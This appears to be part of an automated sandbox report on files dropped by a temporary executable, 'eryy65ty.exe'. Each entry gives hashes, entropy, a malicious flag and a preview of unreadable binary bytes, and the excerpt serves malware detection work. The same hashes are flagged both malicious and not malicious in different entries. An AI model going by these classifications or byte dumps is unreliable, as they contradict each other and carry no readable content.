                                                                                                                                                                Preview:...fi.Z|.6.Hd..0%mM.V.k..@.vD.L.'@...cU....o...EVpP...pK.CV...#..L.C.).......@........^..dX..BY..\>..);p...ex...R.=...&.m.../j@.e.z61%..UMx.k.ZJjl.B.Z.M......=mZl....}..b.;;l.]..k..yf..m9..Mg.=M.0.%..%.p..,.7.......9..x...aGg...a.^6.|p(YI..a......Q...o..e3}.)..s7...f)...\.j...%.....H._J.d...C...k..Ffb..6..^7~..W.ji._.p.*...[.F..~..+1.>-........~"&..a.1........F.u.!.*y...f~..(O}...Q......%.9.V.....&.Sj.. .!KB6....a...0......H..<.%:.......9sM.{..=;....(.1N.).=v..c.....KZ...v-5....'.i._..,...;...`.m..}...d0..d.I./....tu_.X#-.[I...U8g..k....k1.#m........)d.]8...\.EH....? 0.b.........n...1..,..o.........O.....2q........%j...HIr..P.'q..G.%.j....i.6._.jw..,Lz..%.<K.t.._].:...B.T.{...<.YD./J......a..Q..Y.|(...M.%.{..U....gsf..*[..G.I..x.=../....._........3u.B....T.T[;e...........X...U..[;...W.q]4.$q.[U...4...w...L.r.F{&9...?x.K6...l..,T............S.t.eU.I..#.U...c,.%T.M9-................G....S.F(.....U....-i.f+*b.@qC:..>
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.871827060308763
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:92MQAqvPPA0Sc7AIPgIqbOUhmk6JNOJlfdjVxD6+MmytIcMzZzCEn58w:92KII/QYIqSUNPJxdj4XtIHtWEew
                                                                                                                                                                MD5:6FF1D6C96B1560D35A042B655F9FEEB9
                                                                                                                                                                SHA1:B4B1C118F4BD7E49F221E3C79F645EB4A574FAFA
                                                                                                                                                                SHA-256:3772F468EB203900B1BC4839945D0EF6FCA20CAEAC4847DEDA7C766155AFC6C0
                                                                                                                                                                SHA-512:9D1EC207171DB8DF32665CF7AF0DEF0641C918CF8FC46F3114F5578E98F5CDDA90883092F66B5B06D6DB615BD44EABEA549C1AE2B0EB7DBF24166E2A0A376AEC
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:...fi.Z|.6.Hd..0%mM.V.k..@.vD.L.'@...cU....o...EVpP...pK.CV...#..L.C.).......@........^..dX..BY..\>..);p...ex...R.=...&.m.../j@.e.z61%..UMx.k.ZJjl.B.Z.M......=mZl....}..b.;;l.]..k..yf..m9..Mg.=M.0.%..%.p..,.7.......9..x...aGg...a.^6.|p(YI..a......Q...o..e3}.)..s7...f)...\.j...%.....H._J.d...C...k..Ffb..6..^7~..W.ji._.p.*...[.F..~..+1.>-........~"&..a.1........F.u.!.*y...f~..(O}...Q......%.9.V.....&.Sj.. .!KB6....a...0......H..<.%:.......9sM.{..=;....(.1N.).=v..c.....KZ...v-5....'.i._..,...;...`.m..}...d0..d.I./....tu_.X#-.[I...U8g..k....k1.#m........)d.]8...\.EH....? 0.b.........n...1..,..o.........O.....2q........%j...HIr..P.'q..G.%.j....i.6._.jw..,Lz..%.<K.t.._].:...B.T.{...<.YD./J......a..Q..Y.|(...M.%.{..U....gsf..*[..G.I..x.=../....._........3u.B....T.T[;e...........X...U..[;...W.q]4.$q.[U...4...w...L.r.F{&9...?x.K6...l..,T............S.t.eU.I..#.U...c,.%T.M9-................G....S.F(.....U....-i.f+*b.@qC:..>
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.8485519289513945
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:NS43V5Lns8zgQm48KWJ66GxbklUOn4cubIMS+0M+0/JYsr9Fcsi1ea:NS2bLAvK8NG9yU84cJ/+RZ/F3cfea
                                                                                                                                                                MD5:CFA16B4C3CF0264A7F9DB9E9A1D2DCEB
                                                                                                                                                                SHA1:5868339CD1BE6424E7D7DB7F21B3CAB63E213049
                                                                                                                                                                SHA-256:7594AE06EEABFEE2CD1E177FFA3D8BE33BD1307B4008DEFCC4570CC060A5F36B
                                                                                                                                                                SHA-512:EDE9D6DAE743D852F93D8E9C3F62BC9D812F4D45A6F741C046D1B586D692F295A949B3C0748ABF42240342083D07CE89AF45C822E24D85A77AC89D5899C07465
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:..1...X\.... .M.f..=...^...xF! ].T@u.l.k....^&|.T.]......N3...NW;A.q.....D....._.,.....G'H..B...H.a.'..M.....!d.lY7.'....{:.....0...>..c..f....\..53...G...0*....JL...P........w....i.. 0..Uv+...'..MO=.E.ay..V&.0....2.u.S.>......7U....MK.9.s7/`....i}..p......NT..5B.......g.....w.-;...n..a.]..Q.....)MG.Y.:.O..B.amd..j....dq~..z/..D....h.c..w.R.:.....NX..f..uws.S.h[R....2.f..~..M....y.Q...J...d....7."y..A......7Be.f..&S.i{.C.6.+Rb5.K$lq.....t.:.....'."${Xv_I...K......%H....I0..q.....@i.q...V....U......V....,..pm..F.`....I...zG_....O.(.....Tx*]......&*h....`..x.k....$*.N[.Z.z.rg.....V....*sV....(........Gc.f..l........._n...2....+.o.7.3.e{.%.....Z..X;.3...>..o(..{Z..#..........w..B...F:.L..0..w.o%.2.a..C1..S...0....|..x&..v8..R..q.N.a...~....S5J>...S,.zZ|..w..J.d02`.2...D~..z..LN....`'O..3u3.y....y.U.6..i..1I.9..Ht..D%*.K`.$....."...3m...}A&.ma....*............kr....z.*.F..j....u..V-...h....z..Z...n....?.l...A.J...QB.@K.W..D.ur.K._...";...#.
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.8485519289513945
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:NS43V5Lns8zgQm48KWJ66GxbklUOn4cubIMS+0M+0/JYsr9Fcsi1ea:NS2bLAvK8NG9yU84cJ/+RZ/F3cfea
                                                                                                                                                                MD5:CFA16B4C3CF0264A7F9DB9E9A1D2DCEB
                                                                                                                                                                SHA1:5868339CD1BE6424E7D7DB7F21B3CAB63E213049
                                                                                                                                                                SHA-256:7594AE06EEABFEE2CD1E177FFA3D8BE33BD1307B4008DEFCC4570CC060A5F36B
                                                                                                                                                                SHA-512:EDE9D6DAE743D852F93D8E9C3F62BC9D812F4D45A6F741C046D1B586D692F295A949B3C0748ABF42240342083D07CE89AF45C822E24D85A77AC89D5899C07465
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:..1...X\.... .M.f..=...^...xF! ].T@u.l.k....^&|.T.]......N3...NW;A.q.....D....._.,.....G'H..B...H.a.'..M.....!d.lY7.'....{:.....0...>..c..f....\..53...G...0*....JL...P........w....i.. 0..Uv+...'..MO=.E.ay..V&.0....2.u.S.>......7U....MK.9.s7/`....i}..p......NT..5B.......g.....w.-;...n..a.]..Q.....)MG.Y.:.O..B.amd..j....dq~..z/..D....h.c..w.R.:.....NX..f..uws.S.h[R....2.f..~..M....y.Q...J...d....7."y..A......7Be.f..&S.i{.C.6.+Rb5.K$lq.....t.:.....'."${Xv_I...K......%H....I0..q.....@i.q...V....U......V....,..pm..F.`....I...zG_....O.(.....Tx*]......&*h....`..x.k....$*.N[.Z.z.rg.....V....*sV....(........Gc.f..l........._n...2....+.o.7.3.e{.%.....Z..X;.3...>..o(..{Z..#..........w..B...F:.L..0..w.o%.2.a..C1..S...0....|..x&..v8..R..q.N.a...~....S5J>...S,.zZ|..w..J.d02`.2...D~..z..LN....`'O..3u3.y....y.U.6..i..1I.9..Ht..D%*.K`.$....."...3m...}A&.ma....*............kr....z.*.F..j....u..V-...h....z..Z...n....?.l...A.J...QB.@K.W..D.ur.K._...";...#.
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.851228288500663
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:GNCnvsvdH58cRNXRo9MEkGARUH2j8DdMk4tAAKvRyRrXuB:GNCnQZlRomEkmHM8Ldpytg
                                                                                                                                                                MD5:66105ABCCB410427BED18F540BC5432D
                                                                                                                                                                SHA1:3249E06F796885C153446F2E9032A27012F4A8E4
                                                                                                                                                                SHA-256:09122036F965441950649F5B29633B8CCE55227CAB650AB7401E54B9FF32FCC6
                                                                                                                                                                SHA-512:6E97FCA06F7DBC8D1B1E42BCD204543189413EF6CC8C028633C415680A63B0F817D9D875F8ADA37975C116D7DB7D4B0D1DB2AB36EF26C95E6209390541FAF964
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:$M|=....'^..5...KR...G3..-r|........Ws..%.\.5..o)S....7.SMH(7..wP...l.....i.\V$...m.R...Py......A...5..CW.r...s|..(......Fa..]B."......L..n.F..`.s...Hg../V.E.KZU.......:#.c...-&...f_Pm.....d?,......S.<P..@c.<.'..lTct...TE}1X.^)`v.O.9....U.M.\r1..Y].;?P.P..-..V...t.D.m07..."..{{<....*.*ui`...q.!;.tl.bP7...'..Cz...H..:U@.d.U.j..Zh..p...9^.....jDs.....)....0..|.h.=.a..~.Q.x<S\<l. AZ.<.p.h..>...F.9...Z....Ed.}Iq.V.Pe..#Nd.6e+......y/9l..WB.........=...6.....,.W..=.Y.M1..}.b<./Kp.F..[:..s...=.........f...E.=L.x..".,~....Z.....o...J..@.....x............k/^.I%?(.UL..N...DM.e..f'.7...z.......A..t.....r]..;......[Qr5...F...2Y.7.*-V.:..Z&J|.;...7...7.}Dj..q....@..P.i..Z.v.....1..Q.]LQ`Xh$jk3.l..P.J.....;O..Nf....."rM..1.......v.......T...</...^RR.X.6..0.).#V.`.....B..E...i.@W.q.....gY....G.B.B.....E-.....*..O...B.....Fn.7..H...@...l....Ph+<.....h..l....:...6..L...D..`...].!...J-m...b.l...E.....r..,n.=I...+...}..q.....A...1...:.....$.k*..$&.-.a.7.a.
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.851228288500663
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:GNCnvsvdH58cRNXRo9MEkGARUH2j8DdMk4tAAKvRyRrXuB:GNCnQZlRomEkmHM8Ldpytg
                                                                                                                                                                MD5:66105ABCCB410427BED18F540BC5432D
                                                                                                                                                                SHA1:3249E06F796885C153446F2E9032A27012F4A8E4
                                                                                                                                                                SHA-256:09122036F965441950649F5B29633B8CCE55227CAB650AB7401E54B9FF32FCC6
                                                                                                                                                                SHA-512:6E97FCA06F7DBC8D1B1E42BCD204543189413EF6CC8C028633C415680A63B0F817D9D875F8ADA37975C116D7DB7D4B0D1DB2AB36EF26C95E6209390541FAF964
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:$M|=....'^..5...KR...G3..-r|........Ws..%.\.5..o)S....7.SMH(7..wP...l.....i.\V$...m.R...Py......A...5..CW.r...s|..(......Fa..]B."......L..n.F..`.s...Hg../V.E.KZU.......:#.c...-&...f_Pm.....d?,......S.<P..@c.<.'..lTct...TE}1X.^)`v.O.9....U.M.\r1..Y].;?P.P..-..V...t.D.m07..."..{{<....*.*ui`...q.!;.tl.bP7...'..Cz...H..:U@.d.U.j..Zh..p...9^.....jDs.....)....0..|.h.=.a..~.Q.x<S\<l. AZ.<.p.h..>...F.9...Z....Ed.}Iq.V.Pe..#Nd.6e+......y/9l..WB.........=...6.....,.W..=.Y.M1..}.b<./Kp.F..[:..s...=.........f...E.=L.x..".,~....Z.....o...J..@.....x............k/^.I%?(.UL..N...DM.e..f'.7...z.......A..t.....r]..;......[Qr5...F...2Y.7.*-V.:..Z&J|.;...7...7.}Dj..q....@..P.i..Z.v.....1..Q.]LQ`Xh$jk3.l..P.J.....;O..Nf....."rM..1.......v.......T...</...^RR.X.6..0.).#V.`.....B..E...i.@W.q.....gY....G.B.B.....E-.....*..O...B.....Fn.7..H...@...l....Ph+<.....h..l....:...6..L...D..`...].!...J-m...b.l...E.....r..,n.=I...+...}..q.....A...1...:.....$.k*..$&.-.a.7.a.
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.834552030538503
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:H9nJtH/EK7wVG4eteYxtvPAkhxI9PQFysjZGsUk1eVlQISiFg:H9f4VG4gvlhxIRhsAk1ewQFg
                                                                                                                                                                MD5:4B27851F74F4954E42D428DDC2ABAD0F
                                                                                                                                                                SHA1:F1F65215BCE5DA3BFD291348C36D027CED3F71AB
                                                                                                                                                                SHA-256:21702241B672EEB85C43E852F9C8BD8B811E5B6AA2FF6096C72B32F8E7BD33BD
                                                                                                                                                                SHA-512:2B6E830580BE88F0F39652D6E6DCF4E40ADC96D1F3889BB6503128176975D2DF3D7220637EBC87A78323F465909A5CCE538EC82E089756CA7D1FEDC09EC2C0F1
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:Ck..2:...>...6I?c..?..q...9..Y...[..&@.-{@..|..e.T.(..]u.v....$3..*r.v6..#.e.&.%4.v...K.^l...M.3.m..,..{..>Y.>g..Pu..[+.j.H......Cu.........B.y...)..Z..O.".w[.Z.... ....%.X...B....>u!.x..@].......Z.%.q...Y..?.;..5d|~9.....x.....d....g.-..Y..Q..\........._..?"}....YZ5....8'.$..A*.:.8........M.......@*.D.d.yS.,4..9N..H.....*y.T.......2...0...in>k}i{d..d..\.S.p..7....U...p.aW..T..(.x......q..P.b../.O2b.^uKN...........r1x........sRL..b.,...1.2U.oh.....>.....0~...m*.j.Qz.Y.H..7X.G.VM)<...}.T`.oM!gg.A..0."...x..f....=.IA...S.&.Wg.n..%.-y...fZ.U....q......J..]..e#...".c....].|.&....x..M|...w{...a...y}.I.z...lAuz..Pw.I>.....~.F..[L."m.:b.....=z..d..G.c.qX.=u._.n.....K..*h....R_...9.......[.w+Yx...."A."......PiF..._...f_.......k.A .2-..YL~...b....'(.....`.1.....th/:.;.0|.H..D..u.P...?PQ*+.....=..(z0..i...!.....>...b..mz..!.7../.u."..F..w.....8,....g..}..w..../M....@s.??..6..I...@..sJq'o...U.D.V.t....j..C.C.0...j....7Z.H.'.... ..f..#..^.,.
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.834552030538503
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:H9nJtH/EK7wVG4eteYxtvPAkhxI9PQFysjZGsUk1eVlQISiFg:H9f4VG4gvlhxIRhsAk1ewQFg
                                                                                                                                                                MD5:4B27851F74F4954E42D428DDC2ABAD0F
                                                                                                                                                                SHA1:F1F65215BCE5DA3BFD291348C36D027CED3F71AB
                                                                                                                                                                SHA-256:21702241B672EEB85C43E852F9C8BD8B811E5B6AA2FF6096C72B32F8E7BD33BD
                                                                                                                                                                SHA-512:2B6E830580BE88F0F39652D6E6DCF4E40ADC96D1F3889BB6503128176975D2DF3D7220637EBC87A78323F465909A5CCE538EC82E089756CA7D1FEDC09EC2C0F1
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:Ck..2:...>...6I?c..?..q...9..Y...[..&@.-{@..|..e.T.(..]u.v....$3..*r.v6..#.e.&.%4.v...K.^l...M.3.m..,..{..>Y.>g..Pu..[+.j.H......Cu.........B.y...)..Z..O.".w[.Z.... ....%.X...B....>u!.x..@].......Z.%.q...Y..?.;..5d|~9.....x.....d....g.-..Y..Q..\........._..?"}....YZ5....8'.$..A*.:.8........M.......@*.D.d.yS.,4..9N..H.....*y.T.......2...0...in>k}i{d..d..\.S.p..7....U...p.aW..T..(.x......q..P.b../.O2b.^uKN...........r1x........sRL..b.,...1.2U.oh.....>.....0~...m*.j.Qz.Y.H..7X.G.VM)<...}.T`.oM!gg.A..0."...x..f....=.IA...S.&.Wg.n..%.-y...fZ.U....q......J..]..e#...".c....].|.&....x..M|...w{...a...y}.I.z...lAuz..Pw.I>.....~.F..[L."m.:b.....=z..d..G.c.qX.=u._.n.....K..*h....R_...9.......[.w+Yx...."A."......PiF..._...f_.......k.A .2-..YL~...b....'(.....`.1.....th/:.;.0|.H..D..u.P...?PQ*+.....=..(z0..i...!.....>...b..mz..!.7../.u."..F..w.....8,....g..}..w..../M....@s.??..6..I...@..sJq'o...U.D.V.t....j..C.C.0...j....7Z.H.'.... ..f..#..^.,.
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.858033477427277
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:kUQ5cFrZWct6zywRrEuKAGKpaiHoXbc7A9JuDEEX0qLkaEBqE7LyWgMN:EiFrZWY6zpRobAn/IXbcqEgqhK
                                                                                                                                                                MD5:D864535CA25E4C9BED91508C918066BB
                                                                                                                                                                SHA1:DA8323FC7248014A130CC8D9AB4463BB0AF92EB1
                                                                                                                                                                SHA-256:89296FDE034B187A6A0A90FF0CFB72AE4A599F091AD69E8923C26FE834F235A7
                                                                                                                                                                SHA-512:99A953936F06B61A51750BA179EE38259F2714A1937DB75FDA257F6070F0F7E60DE39E3CCACFE45357A1529B6613FE5831B4902A3241FC520ADA7CCEDB55FD96
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:+...m.....F...H...a..,.......Rx..7..^?M4..9L"B.+..~..S.0.Y..r......^.S...+R..#.@\..n..,_.i.)..3.....1..Z...8C..2......L....3...H6~ M..BM.R..M.q..9H9..i..]]0..^8~......n..^..E.Aa....Ub..l.X:.../..^.....bB.EE...&..(..o..9O.....H.F..P......H.......\........xY./$e...Z.............f.(..9G..S...#....p.F.."/~..XD.de.."{..PI..Ce(.hF.n.[V.....K.V..U.h....&....8P.t.<{..RR..,(.M.Ga....9G.-...6.....N..f....P....Y..q..PIxN...L....y.['..%,[.~JA.A.....2....a/.%.`..7yX.-........*b.'B..XXV...{\..l!...".:.Ou[.......gn.x.}ejq4wPK..F.o.ET{?|..<c`.o.....A....k.$..QUll...%.b}.3...g.].4I.Y5...t..x.8*Y..y..7.5u.l....2..'w...).R.6...-_..N..........].*..+..u....'.@....y....-..2GQY?J$...n..............a\...SQi..\...m~. mn5../.Y.,...N....0.......Ck..4.}H{%..0....1.....W..z......T..b..v.U..Ql....../ .\.JB. ....u.T...p!...x..[.I..R.h.2=../W........|'.....j..Mmb.j.a.o.d.A'.d....e.K...m.s. [.J.....#.a.............i.7U..._%.P<...v..]J@..)>...&$s......b...:.lz}7.
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.858033477427277
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:kUQ5cFrZWct6zywRrEuKAGKpaiHoXbc7A9JuDEEX0qLkaEBqE7LyWgMN:EiFrZWY6zpRobAn/IXbcqEgqhK
                                                                                                                                                                MD5:D864535CA25E4C9BED91508C918066BB
                                                                                                                                                                SHA1:DA8323FC7248014A130CC8D9AB4463BB0AF92EB1
                                                                                                                                                                SHA-256:89296FDE034B187A6A0A90FF0CFB72AE4A599F091AD69E8923C26FE834F235A7
                                                                                                                                                                SHA-512:99A953936F06B61A51750BA179EE38259F2714A1937DB75FDA257F6070F0F7E60DE39E3CCACFE45357A1529B6613FE5831B4902A3241FC520ADA7CCEDB55FD96
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:+...m.....F...H...a..,.......Rx..7..^?M4..9L"B.+..~..S.0.Y..r......^.S...+R..#.@\..n..,_.i.)..3.....1..Z...8C..2......L....3...H6~ M..BM.R..M.q..9H9..i..]]0..^8~......n..^..E.Aa....Ub..l.X:.../..^.....bB.EE...&..(..o..9O.....H.F..P......H.......\........xY./$e...Z.............f.(..9G..S...#....p.F.."/~..XD.de.."{..PI..Ce(.hF.n.[V.....K.V..U.h....&....8P.t.<{..RR..,(.M.Ga....9G.-...6.....N..f....P....Y..q..PIxN...L....y.['..%,[.~JA.A.....2....a/.%.`..7yX.-........*b.'B..XXV...{\..l!...".:.Ou[.......gn.x.}ejq4wPK..F.o.ET{?|..<c`.o.....A....k.$..QUll...%.b}.3...g.].4I.Y5...t..x.8*Y..y..7.5u.l....2..'w...).R.6...-_..N..........].*..+..u....'.@....y....-..2GQY?J$...n..............a\...SQi..\...m~. mn5../.Y.,...N....0.......Ck..4.}H{%..0....1.....W..z......T..b..v.U..Ql....../ .\.JB. ....u.T...p!...x..[.I..R.h.2=../W........|'.....j..Mmb.j.a.o.d.A'.d....e.K...m.s. [.J.....#.a.............i.7U..._%.P<...v..]J@..)>...&$s......b...:.lz}7.
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:byte-swapped Berkeley vfont data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.82363642164888
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:4irVkhA7QKa0idXMw2ZSjyCFTAc8rcd3f3gaOo57okD4ieRmVWqDuh8j4LZB:5VzQN9+ZXA78r4v2+skE6Vk0YB
                                                                                                                                                                MD5:8E2B94CB266E0BD61654E6FC549DAA0D
                                                                                                                                                                SHA1:E4C94B80AD1849083F50259FD859BF8A1652635F
                                                                                                                                                                SHA-256:D2480181020EFCEFA959F75F32B4180DA0A77BCE461FFD187CE3883E3DA0122B
                                                                                                                                                                SHA-512:2D95450F07033E867223EBC04BED5352467F2E2E22BC1C5A100D6A27CD34BB03C6E83B28DF8E7941F0F6262DF14DB0BD7DCF675EBA9DDC79989349464553DC8C
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:...I.~....Y..T...gnp>..1.......A`.+'_S!/C...+oy.Z..j.1..%......3.A.9s....2k1.I..K.m...p!.?3..1.......jg...I...#.k.......f.e.G).x.....A.c.}#I.....;....X.0....^Poa....{@x....y..7.}.l..{...m/y.9.d..."..T..5....C...s..t.........{..AP...Z./..h...=j.Y..C..U............g...Y3ds];t,"8%VKV8Y.z..I.rL.X...|:...-E{...Z.%...k......@ ?..q./..1b(..y,.c+.\.?../.....;[.`5.r..h...G.5......}.@.c4.|.FA.m.......}|....we..#.d0L...A..8..C....g!+.-.[........}..)3V.D...@..l$.. 2>..[.......B.|..........*F....Ve...)..W.B../!.G.....,D.R...M....Dx!c..,lK.nV.:#...H....0.Q`._..{;y=q..S..P.g.'.#....G..z.4}Bz2.....l...:}j..'(..iD.r.R...W...a......-S.U.z.$.eD+.:.....Gr.t.......\.... .+...9....).#.......~-D...V....bV.R.Y_.l/......^.6c.>q....{...,. .A......H..x.g~..,hL..1t.{.q......@....q..(.HB.lKa..5:}$...U.x..j(.Tu%.0Om...|g..B).....MS..{S*r...F...n(3)...n......Z..!B...&...Hr.1.ltQ...dE?...4.ye.#.=......Yn...U.`)O...P..T.C$:....AE.d.2.......C...j....".`+.8./............b...
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:byte-swapped Berkeley vfont data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.82363642164888
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:4irVkhA7QKa0idXMw2ZSjyCFTAc8rcd3f3gaOo57okD4ieRmVWqDuh8j4LZB:5VzQN9+ZXA78r4v2+skE6Vk0YB
                                                                                                                                                                MD5:8E2B94CB266E0BD61654E6FC549DAA0D
                                                                                                                                                                SHA1:E4C94B80AD1849083F50259FD859BF8A1652635F
                                                                                                                                                                SHA-256:D2480181020EFCEFA959F75F32B4180DA0A77BCE461FFD187CE3883E3DA0122B
                                                                                                                                                                SHA-512:2D95450F07033E867223EBC04BED5352467F2E2E22BC1C5A100D6A27CD34BB03C6E83B28DF8E7941F0F6262DF14DB0BD7DCF675EBA9DDC79989349464553DC8C
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:...I.~....Y..T...gnp>..1.......A`.+'_S!/C...+oy.Z..j.1..%......3.A.9s....2k1.I..K.m...p!.?3..1.......jg...I...#.k.......f.e.G).x.....A.c.}#I.....;....X.0....^Poa....{@x....y..7.}.l..{...m/y.9.d..."..T..5....C...s..t.........{..AP...Z./..h...=j.Y..C..U............g...Y3ds];t,"8%VKV8Y.z..I.rL.X...|:...-E{...Z.%...k......@ ?..q./..1b(..y,.c+.\.?../.....;[.`5.r..h...G.5......}.@.c4.|.FA.m.......}|....we..#.d0L...A..8..C....g!+.-.[........}..)3V.D...@..l$.. 2>..[.......B.|..........*F....Ve...)..W.B../!.G.....,D.R...M....Dx!c..,lK.nV.:#...H....0.Q`._..{;y=q..S..P.g.'.#....G..z.4}Bz2.....l...:}j..'(..iD.r.R...W...a......-S.U.z.$.eD+.:.....Gr.t.......\.... .+...9....).#.......~-D...V....bV.R.Y_.l/......^.6c.>q....{...,. .A......H..x.g~..,hL..1t.{.q......@....q..(.HB.lKa..5:}$...U.x..j(.Tu%.0Om...|g..B).....MS..{S*r...F...n(3)...n......Z..!B...&...Hr.1.ltQ...dE?...4.ye.#.=......Yn...U.`)O...P..T.C$:....AE.d.2.......C...j....".`+.8./............b...
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:DOS executable (COM, 0x8C-variant)
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.840409480884154
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:24V01o7BZIJc7Yzbwb9IE7TxOy9XVK7XXoF+p4EzfE7KKpLTWRXTqyGLWlqlyphd:RV0EZIiKE9IExOy9czow4Ez8uiiZT6eB
                                                                                                                                                                MD5:A182C47A939593F5CC2EA092CDF355B4
                                                                                                                                                                SHA1:DBD79BC8AA493050321213B3D0C5FCC389205B46
                                                                                                                                                                SHA-256:90776F940978CF1BAE70B39BEAD7C57569A81471A6561954C8EEFD6A447D99E6
                                                                                                                                                                SHA-512:1343072D9CFA582040872A0335B29E0A30A9C7C3286B1FBD5982FAAED8ADFE5B18668CB94034B21367CA425F351C4759A251460A9E7EAFDF6E2C8C2BF21789BC
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:.@'..B.p.t....2......P.....2..qO...!2Fa.'..{v.ia.]...f..@D{..flU.....D.H.^Nl9f..6S..x@0<.|.?&@..@..L...z(..(C.#N+...H,.E/d.....v..>...b..\u...A....\..')%.....7...8....G...^Qz..*.........G.'..o....$U..qjm..g.znV...".l.T}.?C.....8qP{5y.c8.F.1%6....s1..y....[.T.........o....{.=...}...]......F.W.!...e..X........ .X...q..(V..i.e.^dW._....n.*......m.v.J.,6...69v.A..z..#.N...GJ....u,S$&h...>o....R?......./...h;..e..........2...N+....w[F..s+7.h.*...Y.p......v...\Le...,.....K.@.....`.....vti.....+..n.>J....B.. ....#:P..^..0..<...z... .T.%........h@.%....w.S9;...U.WD..z1..7..:..q...!..q...-....$!\...m.8l..x`.0L.....\%...-..K..i.\d.I...^/..,.G..><..>.......3..%..........Z.....d....iY..O.A{hXb.T\.h.&..Y.04V...,.<~..P#....!m......u..$`.....`.8.....^.... .h.U!.df...yx....l.z.dn".D.2U.d.*8.....C.m....N....9.sQ/.Q.^.)....n:5Q.y.T.OM....j...- .l!...A.2a4...r.{..z. ..&.>q~.;mv{.Qx..:../.Z.NQD>V....R.EVX&..08..`...X.....#S.*#t...~.U......'.K..[...9..2.
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:DOS executable (COM, 0x8C-variant)
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.840409480884154
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:24V01o7BZIJc7Yzbwb9IE7TxOy9XVK7XXoF+p4EzfE7KKpLTWRXTqyGLWlqlyphd:RV0EZIiKE9IExOy9czow4Ez8uiiZT6eB
                                                                                                                                                                MD5:A182C47A939593F5CC2EA092CDF355B4
                                                                                                                                                                SHA1:DBD79BC8AA493050321213B3D0C5FCC389205B46
                                                                                                                                                                SHA-256:90776F940978CF1BAE70B39BEAD7C57569A81471A6561954C8EEFD6A447D99E6
                                                                                                                                                                SHA-512:1343072D9CFA582040872A0335B29E0A30A9C7C3286B1FBD5982FAAED8ADFE5B18668CB94034B21367CA425F351C4759A251460A9E7EAFDF6E2C8C2BF21789BC
                                                                                                                                                                Malicious:true
